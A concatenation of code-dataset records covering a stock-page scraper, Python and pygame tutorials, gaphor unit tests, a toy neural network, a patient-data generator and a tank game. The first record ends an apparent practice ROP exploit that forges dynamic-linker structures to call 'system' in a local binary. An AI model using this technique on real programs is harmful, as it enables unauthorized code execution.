'system\\0'\n\nargAt = strAt + len(funcStr)\n\nrop2 = p32(baseAt-4)\nrop2 += p32(plt0At)\nrop2 += p32(relloc_offset)\nrop2 += p32(readPlt)\nrop2 += p32(argAt)\nrop2 += cyclic(0x4)\nrop2 += fakeRel\nrop2 += '\\0'*align\nrop2 += fakeSym\nrop2 += funcStr\nrop2 += argStr \n\nr = process('./test')\nr.send(rop1)\nr.send(rop2)\nr.interactive()\n\n","sub_path":"ROP/ret2dlruntime/hack.py","file_name":"hack.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"411144930","text":"#Title: Scanner.py\r\n#Authors: Wanderer and Bohdi\r\n#Date: 02/29/2021\r\n#Purpose:\t\r\n# Provide a basic scanner that accepts a ticker input\r\n# and returns the following:\r\n#\t- previous close \r\n# \t- previous open\r\n# \t- days range\r\n# \t- 52 week range\r\n# \t- volume\r\n# \t- avg volume\r\n# \t- mkt cap\r\n# \t- 5y monthly beta\r\n# \t- next earnings date\r\n\r\n#import modules\r\n#import modules\r\nfrom datetime import datetime\r\nimport lxml\r\nfrom lxml import html\r\nimport requests\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nclass Scanner:\r\n\t# Set up the request headers that we're going to use, to simulate\r\n\t# a request by the Chrome browser. Simulating a request from a browser\r\n\t# is generally good practice when building a scraper\r\n\tdef getPage(self, url):\r\n\t\theaders = {\r\n\t\t\t'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',\r\n\t\t\t'Accept-Encoding': 'gzip, deflate, br',\r\n\t\t\t'Accept-Language': 'en-US,en;q=0.9',\r\n\t\t\t'Cache-Control': 'max-age=0',\r\n\t\t\t'Pragma': 'no-cache',\r\n\t\t\t'Referrer': 'https://google.com',\r\n\t\t\t'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36'\r\n\t\t}\r\n\r\n\t\treturn requests.get(url, headers=headers)\r\n\r\n\t#Parse rows\r\n\tdef parseRows(self, tableRows):\r\n\t\tparsedRows = []\r\n\r\n\t\tfor tableRow in tableRows:\r\n\t\t\tparsedRow = []\r\n\t\t\tel = tableRow.xpath(\"./div\")\r\n\r\n\t\t\tnoneCount = 0\r\n\r\n\t\t\tfor rs in el:\r\n\t\t\t\ttry:\r\n\t\t\t\t\t(text,) = rs.xpath('.//span/text()[1]')\r\n\t\t\t\t\tparsedRow.append(text)\r\n\t\t\t\texcept ValueError:\r\n\t\t\t\t\tparsedRow.append(np.NaN)\r\n\t\t\t\t\tnoneCount += 1\r\n\r\n\t\t\tif (noneCount < 4):\r\n\t\t\t\tparsedRows.append(parsedRow)\r\n\t\t\t\t\r\n\t\treturn pd.DataFrame(parsedRows)\r\n\r\n\t#Individual row output selections\r\n\tdef findItem(self, dataFrame, item, column):\r\n\t\t#selectOutput var = dataframe.locate[df column name] and row equals grossProfit var\r\n\t\tselectOutput = dataFrame.loc[dataFrame[column] == item]\r\n\r\n\t\treturn selectOutput\r\n\t\r\n\t#Scrape specified table\r\n\tdef scrapeTable(self, url):\r\n\t\t# Fetch the page that we're going to parse\r\n\t\tpage = self.getPage(url)\r\n\r\n\t\t# Parse the page with LXML, so that we can start doing some XPATH queries\r\n\t\t# to extract the data that we want\r\n\t\ttree = html.fromstring(page.content)\r\n\r\n\t\t# Fetch all div elements which have class 'D(tbr)'\r\n\t\ttableRows = tree.xpath(\"//div[contains(@class, 'D(tbr)')]\")\r\n\t\t\r\n\t\t# Ensure that some table rows are found; if none are found, then it's possible\r\n\t\t# that Yahoo Finance has changed their page layout, or have detected\r\n\t\t# that you're scraping the page.\r\n\t\tassert len(tableRows) > 0\r\n\t\t\r\n\t\tdf = self.parseRows(tableRows)\r\n\t\t#Make row 0 the column names when displayed/queried\r\n\t\tdf.columns = df.iloc[0]\r\n\r\n\t\t#return output\r\n\t\treturn df\r\n#End of Scanner class\r\n\r\nif __name__ == \"__main__\":\r\n\t#Scanner class run as var\r\n\tscannerObj = Scanner()\r\n\t#Symbol\r\n\tsymbol = 'AAPL'\r\n\t#Output findItem(scrapeTable - gets df, item to find, column item is found in)\r\n\tprint(scannerObj.findItem(scannerObj.scrapeTable('https://finance.yahoo.com/quote/' + symbol + '/financials?p=' + symbol), 'Gross Profit', 'Breakdown'))","sub_path":"Scanner.py","file_name":"Scanner.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"572783068","text":"# When you are stuck or need to explore something new start here:\n# https://docs.python.org/3/tutorial/\n# Also, Stackoverflow is a great resource: \n# http://stackoverflow.com\n#################################################################\n\n############################################################################################################\n# Throughout these tutorials, you may have to add your own print statements to see the results of the code.\n############################################################################################################\n\n# Important Python code from Modules and Packages\n# If you need help or need to explore something new regarding modules start here:\n# Introduction: https://docs.python.org/3/tutorial/modules.html\n# Standary library modules (Chapter 6 to 36): https://docs.python.org/3/library/\n##################################################################################\n\n# Example of importing methods (i.e. functions) from the \"os\" module.\n#####################################################################\n\n# Import the functions mkdir and listdir.\n#########################################\nfrom os import mkdir, listdir\n\n# listdir(\".\") returns a list of files in the current directory.\n################################################################\nprint(\"\\n\")\ndirectoryContents = listdir(\".\")\nfor file in directoryContents:\n\t# Note: everything is a file, even directories.\n\t###############################################\n\tprint(\"Found file in this directory:\", file)\n\n# listdir(\"..\") returns a list of files in the parent directory of the current directory.\n#########################################################################################\nprint(\"\\n\")\ndirectoryContents = listdir(\"..\")\nfor file in directoryContents:\n\t# Note: everything is a file, even directories.\n\t###############################################\n\tprint(\"Found file in the parent directory of this directory:\", file)\n\n# listdir(\"./class3-pdbExcerpts\") returns a list of files in the directory \"class3-pdbExcerpts\".\n################################################################################################\nprint(\"\\n\")\ndirectoryContents = listdir(\"./class3-pdbExcerpts\")\nfor file in directoryContents:\n\t# Note: everything is a file, even directories.\n\t###############################################\n\tprint(\"Found file in the parent directory of this class3-pdbExcerpts:\", file)\n\n# mkdir() makes a new directory on the file system.\n###################################################\ndirectoryName = \"testDirectory\"\n# Makes directory in the current directory.\n###########################################\nmkdir(directoryName)\n# Makes directory in the parent directory of the current directory.\n###################################################################\nmkdir(\"../\" + directoryName)\n","sub_path":"tutorials/disom-tutorial-modules.py","file_name":"disom-tutorial-modules.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"226402417","text":"from pygame import *\n\nwhite=(255,255,255)\nred=(255,0,0)\n\ncolor=red\nrunning=True\ntool='brush'\nscreen=display.set_mode((800,600))\nscreen.fill(white)\n\ndraw.circle(screen,color,(400,300),75,10)\n\nwhile running:\n for e in event.get():\n if e.type==QUIT:\n running=False\n if e.type==MOUSEBUTTONDOWN:\n mmx,mmy=e.pos\n if e.type==KEYUP:\n if e.key==K_SPACE:\n tool='bucket'\n if e.key==K_RETURN:\n tool='brush'\n mb=mouse.get_pressed()\n mx,my=mouse.get_pos()\n if tool=='brush' and mb[0]==1:\n draw.circle(screen,red,(mx,my),10)\n if tool=='bucket' and mb[0]==1:\n pixels=[(mmx,mmy)]\n oldColor=screen.get_at((mmx,mmy))\n while len(pixels)>0:\n try:\n if screen.get_at(pixels[0])==oldColor:\n screen.set_at(pixels[0],color)\n x1=(pixels[0][0]+1,pixels[0][1])#Right\n x2=(pixels[0][0]-1,pixels[0][1])#Left\n y1=(pixels[0][0],pixels[0][1]+1)#Down\n y2=(pixels[0][0],pixels[0][1]-1)#Up\n if screen.get_at(x1)==oldColor:\n pixels.append(x1)\n if screen.get_at(x2)==oldColor:\n pixels.append(x2)\n if screen.get_at(y1)==oldColor:\n pixels.append(y1)\n if screen.get_at(y2)==oldColor:\n pixels.append(y2)\n del pixels[0]\n except IndexError:\n print(\"ERROR\")\n del pixels\n display.flip()\nquit()\n","sub_path":"Bucket.py","file_name":"Bucket.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"462360524","text":"from gaphor import UML\nfrom gaphor.diagram import items\nfrom gaphor.services.copyservice import CopyService\nfrom gaphor.application import Application\nfrom gaphor.tests.testcase import TestCase\n\n\nclass CopyServiceTestCase(TestCase):\n\n services = TestCase.services + [\n \"main_window\",\n \"action_manager\",\n \"properties\",\n \"undo_manager\",\n ]\n\n def test_init(self):\n service = CopyService()\n service.init(Application)\n # No exception? ok!\n\n def test_copy(self):\n service = CopyService()\n service.init(Application)\n\n ef = self.element_factory\n diagram = ef.create(UML.Diagram)\n ci = diagram.create(items.CommentItem, subject=ef.create(UML.Comment))\n\n service.copy([ci])\n assert diagram.canvas.get_all_items() == [ci]\n\n service.paste(diagram)\n\n assert len(diagram.canvas.get_all_items()) == 2, diagram.canvas.get_all_items()\n\n def test_copy_named_item(self):\n service = CopyService()\n service.init(Application)\n\n ef = self.element_factory\n diagram = ef.create(UML.Diagram)\n c = diagram.create(items.ClassItem, subject=ef.create(UML.Class))\n\n c.subject.name = \"Name\"\n\n diagram.canvas.update_now()\n i = list(diagram.canvas.get_all_items())\n self.assertEqual(1, len(i), i)\n self.assertEqual(\"Name\", i[0]._name.text)\n\n service.copy([c])\n assert diagram.canvas.get_all_items() == [c]\n\n service.paste(diagram)\n\n i = diagram.canvas.get_all_items()\n\n self.assertEqual(2, len(i), i)\n\n diagram.canvas.update_now()\n\n self.assertEqual(\"Name\", i[0]._name.text)\n self.assertEqual(\"Name\", i[1]._name.text)\n\n def _skip_test_copy_paste_undo(self):\n \"\"\"\n Test if copied data is undoable.\n \"\"\"\n from gaphor.storage.verify import orphan_references\n\n service = CopyService()\n service.init(Application)\n\n # Setting the stage:\n ci1 = self.create(items.ClassItem, UML.Class)\n ci2 = self.create(items.ClassItem, UML.Class)\n a = self.create(items.AssociationItem)\n\n self.connect(a, a.head, ci1)\n self.connect(a, a.tail, ci2)\n\n self.assertTrue(a.subject)\n self.assertTrue(a.head_end.subject)\n self.assertTrue(a.tail_end.subject)\n\n # The act: copy and paste, perform undo afterwards\n service.copy([ci1, ci2, a])\n\n service.paste(self.diagram)\n\n all_items = list(self.diagram.canvas.get_all_items())\n\n self.assertEqual(6, len(all_items))\n self.assertFalse(orphan_references(self.element_factory))\n\n self.assertSame(all_items[0].subject, all_items[3].subject)\n self.assertSame(all_items[1].subject, all_items[4].subject)\n self.assertSame(all_items[2].subject, all_items[5].subject)\n\n undo_manager = self.get_service(\"undo_manager\")\n\n undo_manager.undo_transaction()\n\n self.assertEqual(3, len(self.diagram.canvas.get_all_items()))\n self.assertFalse(orphan_references(self.element_factory))\n","sub_path":"gaphor/services/tests/test_copyservice.py","file_name":"test_copyservice.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"509355485","text":"import numpy as np\n\nfrom util import load_generation\n\n\nclass NeuralNetwork:\n def __init__(self, layer_sizes, mode):\n if mode != 'thrust':\n input_layer_size, hidden_layer_size, output_layer_size = layer_sizes\n self.W1 = np.random.normal(size=(hidden_layer_size, input_layer_size))\n self.W2 = np.random.normal(size=(output_layer_size, hidden_layer_size))\n self.B1 = np.zeros((hidden_layer_size, 1))\n self.B2 = np.zeros((output_layer_size, 1))\n else:\n l1, l2, l3, l4 = layer_sizes\n players = load_generation('checkpoint/helicopter/43', '')\n players.sort(key=lambda x: x.fitness)\n self.W1 = players[-1].nn.W1\n self.W2 = np.random.normal(size=(l3, l2))\n self.W3 = np.random.normal(size=(l4, l3))\n self.B1 = players[-1].nn.B1\n self.B2 = np.zeros((l3, 1))\n self.B3 = np.zeros((l4, 1))\n\n def activation(self, x, type):\n if type == 'RELO':\n return x * (x > 0)\n if type == 'C_RELO':\n return x * (x > 0) + 0.01 * x * (x <= 0)\n if type == 'LINEAR':\n return x\n if type == 'SIGMOID':\n return 1 / (1 + np.e ** (-x))\n if type == 'SOFTMAX':\n ex = np.e ** x\n return ex / np.sum(ex)\n if type == 'TANH':\n exp_pos = np.exp(x)\n exp_neg = np.exp(-x)\n return (exp_pos - exp_neg) / (exp_pos + exp_neg)\n raise ValueError(\"type didn't found!\")\n\n def forward(self, x, mode):\n O1 = np.dot(self.W1, x) + self.B1\n O1 = self.activation(O1, 'TANH')\n O2 = np.dot(self.W2, O1) + self.B2\n if mode != 'thrust':\n O2 = self.activation(O2, 'SIGMOID')\n return O2\n else:\n O2 = self.activation(O2, 'TANH')\n O3 = np.dot(self.W3, O2) + self.B3\n O3 = self.activation(O3, 'SIGMOID')\n return O3\n\n","sub_path":"nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"89375686","text":"import sys\nimport re\n\n\n\ndef id_repl(match_obj):\n\t# returns the id that should be replaced, inserting it into `ids` if necessary\n\t#IF id not seen before\n\t\t# add to dictionary\n\t#return string to replace - str of id\n\tkey = int(match_obj.group(2))\n\tif key not in ids:\n\t\tids[key] = str(next_id)\n\t\tnext_id += 1\n\treturn f\"{match_obj.group(1)}{ids[key]}{match_obj.group(3)}\"\n\nif __name__ == \"__main__\":\n\tpatient_data = dict()\n\tre_string = \"^([0-9]*)\\s+([0-9]*)\\s+([0-9-]* [0-9:]*)\\s+([0-9-]* [0-9:]*)\\s+([ft])\\s([0-aA-F]*)\"\n\t# matches pk_id, patient_id, start_time, end_time, confirmed, geom\n\tmatcher = re.compile(re_string)\n\n\tfor raw_line in sys.stdin:\n\t\tline = raw_line.rstrip()\n\t\tmatch = re.match(matcher, line)\n\t\tif match != None:\n\t\t\tpatient_data[int(match.group(1))] = match\n\n\n\tpatients = dict()\n\tman_id = 1\n\tvol_id = 1\n\tfor i in range(1,101):\n\t\t# 100 patients\n\t\tuname = f\"patient{i}.username\"\n\t\tpw = f\"patient{i}.pw\"\n\t\tname = f\"patient{i}.name\"\n\t\temail = f\"patient{i}@example.com\"\n\t\tpatient_string = f\"{i}\t{uname}\t{pw}\t{name}\t{email}\t{man_id}\t{vol_id}\"\n\t\tprint(patient_string)\n\n\t\tif (i%3 == 0):\n\t\t\tvol_id += 1\n\t\tif (i%30) == 0:\n\t\t\tman_id += 1\n\tprint()\n\n\tfor entry in patient_data.values():\n\t\tprint(f\"{entry.group(1)}\t{entry.group(2)}\t{entry.group(3)}\t{entry.group(4)}\t{entry.group(5)}\t{entry.group(6)}\")\n\t\t#print(entry)\n","sub_path":"database/make_patients.py","file_name":"make_patients.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"595810193","text":"#try:\r\n#Single Player\r\ncreator_mode = False #so you don't die if you're testing something\r\n\r\n#importing\r\nimport pygame\r\nfrom pygame.locals import * \r\nimport os\r\nimport time\r\nimport random\r\npygame.init()\r\n#set up display, game stuff\r\nsize = (800,600)\r\nscreen = pygame.display.set_mode(size)\r\nclock = pygame.time.Clock()\r\nkills = 0\r\npath = \"single_player\\\\\"\r\nschoolcomputer = False\r\n\r\ndef loadimages():\r\n global images\r\n images = {}\r\n images[\"tank1\"] = pygame.image.load(path+\"tank1.png\").convert_alpha()\r\n images[\"missileL\"] = pygame.image.load(path+\"missile.png\").convert_alpha()\r\n images[\"ammo\"] = pygame.image.load(path+\"ammo.png\").convert_alpha()\r\n images[\"heart\"] = pygame.image.load(path+\"hearts.png\").convert_alpha()\r\n images[\"dirt\"] = pygame.image.load(path+\"dirt.jpg\").convert()\r\n images[\"enemy1\"] = pygame.image.load(path+\"tank2L.png\").convert_alpha()\r\n images[\"missileR\"] = pygame.image.load(path+\"missileL.png\").convert_alpha()\r\n images[\"powerup1\"] = pygame.image.load(path+\"powerup1.jpg\").convert()\r\n images['gray'] = pygame.image.load(path+\"gray.png\").convert_alpha()\r\n images['gameover'] = pygame.image.load(path+\"gameover.png\").convert_alpha()\r\n images['laser'] = pygame.image.load(path+\"laser.png\").convert_alpha()\r\n images['shield'] = pygame.image.load(path+\"shield.png\").convert_alpha()\r\n images['namespace'] = pygame.image.load(path+\"namespace.png\").convert_alpha()\r\n for i in range(1,6):\r\n images[\"redgradient\"+str(i)] = pygame.image.load(path+\"redgradient\"+str(i)+\".png\").convert_alpha()\r\n\r\n for i in range(1,5):\r\n images['begin'+str(i)] = pygame.image.load(path+\"begin\"+str(i)+\".png\").convert_alpha()\r\n for i in range(2,6):\r\n images[\"powerup\"+str(i)] = pygame.image.load(path+\"powerup\"+str(i)+\".png\").convert_alpha()\r\n for explosionImage in range(1, 20):\r\n images[\"explosion\"+str(explosionImage)] = pygame.image.load(path+\"explosions\\\\explosion\" + str(explosionImage) + \".gif\").convert_alpha()\r\n\r\n\r\nloadimages()\r\nexplosions = []\r\nsounds = {} \r\nsounds['explosionsound'] = pygame.mixer.Sound(file=path+\"explosionsound.ogg\")\r\nsounds['explosionsound'].set_volume(0.5)\r\nsounds['repulsor'] = pygame.mixer.Sound(file=path+\"repulsor.ogg\")\r\n\r\n#set up missiles\r\nmissilespeed = 10\r\ne_missilespeed = 10\r\nmissiles = []\r\nenemy_missiles = []\r\n\r\n#set up tank\r\nx = 10\r\ny = 400\r\nmissilecount = 5\r\nmissilelimit = 5\r\nmissileregen = 10\r\nmovespeed = 3\r\nlives = 5\r\nliveslimit = 5\r\nlivesregen = 300\r\nmissiles = []\r\ntankx = 0\r\ntanky = 0\r\ncollide = True\r\nredscreens = []\r\nredcount = 0\r\n\r\n#set up enemies\r\nenemies = []\r\nnewtank = 20\r\nenemy_missiles = []\r\nenemyspeed = 1\r\nshootrate = 100\r\n\r\n#powerups\r\npowerups = []\r\npower_spawn = 300\r\n\r\n#font\r\nfontsize = 35\r\nmyfont = pygame.font.SysFont(\"impact\", 45)\r\nsmallfont = pygame.font.SysFont(\"impact\", 40)\r\nbigfont = pygame.font.SysFont(\"impact\", 70)\r\nfinalfont = pygame.font.SysFont(\"impact\", 55)\r\n\r\n#set up pause\r\npaused = False\r\npausemess = bigfont.render(\"PAUSED\", True, (250,250,250))\r\npauserect = pausemess.get_rect(center=(400,300))\r\n\r\n#functions\r\ndef begin():\r\n 'beginning animation'\r\n startscreen = screen.copy()\r\n for i in range(1,5):\r\n screen.blit(startscreen, (0,0))\r\n pygame.display.flip()\r\n time.sleep(0.5)\r\n rect = images['begin'+str(i)].get_rect(center=(400,300))\r\n screen.blit(images[\"begin\"+str(i)], rect)\r\n pygame.display.flip()\r\n time.sleep(0.5)\r\n pygame.event.clear() #so you can't issue commands in the beginning animation\r\n if not schoolcomputer:\r\n bgmusic = pygame.mixer.music.load(path+\"10800 Malibu Point.mp3\")\r\n pygame.mixer.music.play(-1)\r\n\r\ndef tank(x, y):\r\n 'moves tank'\r\n screen.blit(images[\"tank1\"], (x,y))\r\n \r\ndef shoot():\r\n 'shoots'\r\n global missilecount\r\n global x\r\n global y\r\n if missilecount > 0:\r\n newmissile = {'x':x+70, 'y':y+20}\r\n missiles.append(newmissile)\r\n missilecount -= 1\r\ndef updatemissiles():\r\n 'moves missiles'\r\n for missile in missiles:\r\n missile['x'] += missilespeed\r\n if missile['x'] >= 800:\r\n missiles.remove(missile)\r\n else:\r\n screen.blit(images[\"missileL\"], (missile['x'],missile['y']))\r\n for missile in enemy_missiles:\r\n missile['x'] -= e_missilespeed\r\n if missile['x'] < 1:\r\n enemy_missiles.remove(missile)\r\n else:\r\n screen.blit(images[\"missileR\"], (missile['x'], missile['y']))\r\ndef updatestatus():\r\n 'updates health bar, ammo bar, score, checks if you died'\r\n global missilecount\r\n global lives\r\n global gameloop\r\n global fontsize\r\n medfont = pygame.font.SysFont(\"impact\", fontsize)\r\n for i in range(1, lives+1):\r\n screen.blit(images[\"heart\"], (i*60 - 50, 5))\r\n for i in range(1, missilecount+1):\r\n screen.blit(images[\"ammo\"], (i*60 + 440, 5))\r\n scoreblit = medfont.render((\"Kills: \"+str(kills)), True, (255,255,255))\r\n scorerect = scoreblit.get_rect(center=(400,25))\r\n if scorerect.x > 380:\r\n fontsize -= 1\r\n screen.blit(scoreblit, scorerect)\r\n if lives <= 0:\r\n if creator_mode: #so i don't die when im testing something\r\n pass\r\n else:\r\n print(\"YOU LOSE\")\r\n gameloop = False\r\ndef enemy(newtype):\r\n 'creates a new enemy tank'\r\n enemyx = 799\r\n enemyy = random.randint(50, 552)\r\n newenemy = {'x':enemyx, 'y':enemyy,'type':newtype}\r\n enemies.append(newenemy)\r\ndef updateenemies():\r\n 'moves enemy tanks'\r\n global lives\r\n for enemy in enemies:\r\n if enemy['type'] == \"2\":\r\n enemy['x'] -= enemyspeed*2\r\n else:\r\n enemy['x'] -= enemyspeed\r\n if enemy['x'] < 1:\r\n enemies.remove(enemy)\r\n redscreen = {'count':redcount}\r\n redscreens.append(redscreen)\r\n lives -= 1\r\n else:\r\n screen.blit(images[\"enemy1\"], (enemy['x'],enemy['y']))\r\n if enemy['type'] == '3':\r\n screen.blit(images['shield'], (enemy['x']-12,enemy['y']-26))\r\n\r\ndef enemyshoot():\r\n 'adds new missiles based on position of enemy tanks'\r\n for enemy in enemies:\r\n newmissile = {'x':enemy['x'], 'y':enemy['y']+20}\r\n enemy_missiles.append(newmissile)\r\ndef checkcollide():\r\n 'checks for collision with tanks and missiles'\r\n global enemies\r\n global missiles\r\n global x\r\n global y\r\n global lives\r\n global explosions\r\n global kills\r\n t_rect = pygame.Rect(x,y,75,48)\r\n for enemy in enemies: #checks if I hit a tank\r\n e_rect = pygame.Rect(enemy['x'], enemy['y'], 75, 48)\r\n if e_rect.colliderect(t_rect):\r\n if collide == True:\r\n redscreen = {'count':redcount}\r\n redscreens.append(redscreen)\r\n lives -= 1\r\n if enemy['type'] == '3':\r\n enemy['type'] = '1'\r\n else:\r\n expl_rect = pygame.Rect(e_rect.x-37, e_rect.y-24, 75, 48)\r\n newexplosion = {'num':1,'rect':expl_rect,'counter':1,'music':True}\r\n kills += 1\r\n explosions.append(newexplosion)\r\n enemies.remove(enemy)\r\n for missile in missiles: #checks if enemy tanks get hit\r\n m_rect = pygame.Rect(missile['x'], missile['y'], 36, 9)\r\n if e_rect.colliderect(m_rect):\r\n try:\r\n if enemy['type'] == '3':\r\n enemy['type'] = '1'\r\n else:\r\n expl_rect = pygame.Rect(e_rect.x-37, e_rect.y-24, 75, 48)\r\n newexplosion = {'num':1,'rect':expl_rect,'counter':1,'music':True}\r\n explosions.append(newexplosion)\r\n enemies.remove(enemy)\r\n kills += 1\r\n missiles.remove(missile)\r\n except:\r\n pass\r\n for missile in enemy_missiles: #checks if i get hit\r\n em_rect = pygame.Rect(missile['x'], missile['y'], 36, 9)\r\n if em_rect.colliderect(t_rect):\r\n if collide == True:\r\n redscreen = {'count':redcount}\r\n redscreens.append(redscreen)\r\n lives -= 1\r\n expl_rect = pygame.Rect(t_rect.x-37, t_rect.y-24, 75, 48)\r\n newexplosion = {'num':1,'rect':expl_rect,'counter':1,'music':True}\r\n explosions.append(newexplosion)\r\n enemy_missiles.remove(missile)\r\n for missile2 in missiles:\r\n e_rect = pygame.Rect(missile2['x'],missile2['y'], 36,9)\r\n if e_rect.colliderect(em_rect):\r\n try:\r\n missiles.remove(missile2)\r\n enemy_missiles.remove(missile)\r\n except:\r\n pass\r\n \r\ndef pause():\r\n 'pause function'\r\n global paused\r\n pygame.mixer.music.pause()\r\n while paused:\r\n screen.blit(pausescreen, (0,0))\r\n screen.blit(images['gray'],(0,0))\r\n screen.blit(pausemess, pauserect)\r\n pygame.display.flip()\r\n for ev in pygame.event.get():\r\n if ev.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n elif ev.type == pygame.KEYUP:\r\n if ev.key == K_p:\r\n paused = False\r\n pygame.mixer.music.unpause()\r\nstart = 1 #this helps me determine the duration of certain powerups based on gameCount\r\ndef powerup():\r\n global powerups\r\n global start\r\n global x\r\n global y\r\n global enemies\r\n global enemy_missiles\r\n global missiles\r\n global lives\r\n global movespeed\r\n global collide\r\n global missilecount\r\n global kills\r\n t_rect = pygame.Rect(x, y, 70, 48)\r\n for power in powerups:\r\n border = pygame.Rect(power['x'], power['y'], 50, 50)\r\n if power['num'] == 1: #destroy all tanks\r\n screen.blit(images['powerup'+str(power['num'])], (power['x'],power['y']))\r\n pygame.draw.rect(screen, (0,0,0), border, 4)\r\n if t_rect.colliderect(power['rect']):\r\n for enemy in enemies:\r\n e_rect = pygame.Rect(enemy['x'], enemy['y'], 75, 48)\r\n expl_rect = pygame.Rect(e_rect.x-37, e_rect.y-24, 75, 48)\r\n newexplosion = {'num':1,'rect':expl_rect,'counter':1, 'music':True}\r\n explosions.append(newexplosion)\r\n kills += 1\r\n enemies = []\r\n powerups.remove(power)\r\n\r\n elif power['num'] == 2: #fire death laser of death\r\n if power['checker'] == 0:\r\n screen.blit(images['powerup'+str(power['num'])], (power['x'],power['y']))\r\n pygame.draw.rect(screen, (0,0,0), border, 4)\r\n if t_rect.colliderect(power['rect']):\r\n sounds['repulsor'].play()\r\n start = gameCount\r\n missilecount = 5\r\n power['checker'] = 1\r\n else:\r\n if gameCount > start+10:\r\n screen.blit(images['laser'], (x+75, y-76))\r\n laser = pygame.Rect(x+75, y-23, 800,97)\r\n if gameCount > start+310:\r\n start = 1\r\n powerups.remove(power)\r\n else:\r\n for enemy in enemies:\r\n e_rect = pygame.Rect(enemy['x'], enemy['y'], 75, 48)\r\n if laser.colliderect(e_rect):\r\n try:\r\n expl_rect = pygame.Rect(e_rect.x-37, e_rect.y-24, 75, 48)\r\n newexplosion = {'num':1,'rect':expl_rect,'counter':1,'music':True}\r\n explosions.append(newexplosion)\r\n enemies.remove(enemy)\r\n kills += 1\r\n except:\r\n pass\r\n for missile in enemy_missiles:\r\n em_rect = pygame.Rect(missile['x'], missile['y'], 36, 9)\r\n if laser.colliderect(em_rect):\r\n try:\r\n enemy_missiles.remove(missile)\r\n except:\r\n pass\r\n\r\n elif power['num'] == 3: #restore health/ammo\r\n screen.blit(images['powerup'+str(power['num'])], (power['x'],power['y']))\r\n pygame.draw.rect(screen, (0,0,0), border, 4)\r\n if t_rect.colliderect(power['rect']):\r\n lives = 5\r\n missilecount = 5\r\n powerups.remove(power)\r\n elif power['num'] == 4: #overdrive\r\n if power['checker'] == 0:\r\n screen.blit(images['powerup'+str(power['num'])], (power['x'],power['y']))\r\n pygame.draw.rect(screen, (0,0,0), border, 4)\r\n if t_rect.colliderect(power['rect']):\r\n start = gameCount\r\n power['checker'] = 1\r\n else:\r\n screen.blit(images['shield'], (t_rect.x-12,t_rect.y-26))\r\n movespeed = 12\r\n collide = False\r\n if gameCount > start+300:\r\n movespeed = 3\r\n collide = True\r\n powerups.remove(power)\r\n elif power['num'] == 5: #reverse missiles\r\n screen.blit(images['powerup'+str(power['num'])], (power['x'],power['y']))\r\n pygame.draw.rect(screen, (0,0,0), border, 4)\r\n if t_rect.colliderect(power['rect']):\r\n for missile in enemy_missiles:\r\n missiles.append(missile)\r\n enemy_missiles = []\r\n powerups.remove(power)\r\n\r\ndef updateexplosions():\r\n 'updates explosions'\r\n global explosions\r\n for explosion in explosions:\r\n if explosion['music']:\r\n sounds['explosionsound'].play()\r\n explosion['music'] = False\r\n screen.blit(images[(\"explosion\"+str(explosion['num']))],(explosion['rect']))\r\n explosion['counter'] += 1\r\n if explosion['counter']%3 == 0:\r\n explosion['num'] += 1\r\n if explosion['num'] == 20:\r\n explosions.remove(explosion)\r\ndef updatered():\r\n for red in redscreens:\r\n if red['count'] > 9:\r\n redscreens.remove(red)\r\n elif red['count'] <= 5:\r\n # if red['count'] > 5:\r\n screen.blit(images['redgradient1'], (0,0))\r\n red['count'] += 1\r\n elif red['count'] > 5:\r\n screen.blit(images['redgradient'+str(red['count']-4)], (0,0))\r\n if gameCount%5 == 0:\r\n red['count'] += 1\r\n\r\n#actual game loop\r\ngameloop = True\r\ngameCount = 0\r\nwhile gameloop:\r\n clock.tick(60)\r\n gameCount += 1\r\n screen.blit(images[\"dirt\"], (0,0))\r\n for ev in pygame.event.get():\r\n if ev.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n elif ev.type == pygame.KEYDOWN:\r\n if ev.key == pygame.K_w:\r\n tanky = -1\r\n elif ev.key == pygame.K_d:\r\n tankx = 1\r\n elif ev.key == pygame.K_s:\r\n tanky = 1\r\n elif ev.key == pygame.K_a:\r\n tankx = -1\r\n elif ev.key == pygame.K_SPACE:\r\n shoot()\r\n elif ev.key == pygame.K_k:\r\n gameloop = False #for testing\r\n elif ev.type == pygame.KEYUP:\r\n if ev.key == pygame.K_a or ev.key == pygame.K_d:\r\n tankx = 0\r\n elif ev.key == pygame.K_w or ev.key == pygame.K_s:\r\n tanky = 0\r\n elif ev.key == pygame.K_p:\r\n paused = True\r\n if 0 < x + tankx*movespeed < 725 and 0 < y + tanky*movespeed < 552:\r\n x += tankx*movespeed\r\n y += tanky*movespeed\r\n tank(x,y)\r\n\r\n #handles various events\r\n if gameCount%missileregen == 0 and missilecount < missilelimit:\r\n missilecount += 1\r\n if gameCount%newtank == 0:\r\n if gameCount > 9000:\r\n newtype = random.choice(\"1123\") #probability for each type spawning\r\n elif gameCount > 3000:\r\n newtype = random.choice(\"111123\")\r\n else:\r\n newtype = \"1\"\r\n enemy(newtype)\r\n if gameCount%livesregen == 0 and lives < liveslimit:\r\n lives += 1\r\n if gameCount%shootrate == 0:\r\n enemyshoot()\r\n if gameCount%power_spawn == 0:\r\n validspot = False\r\n while validspot == False: #makes sure 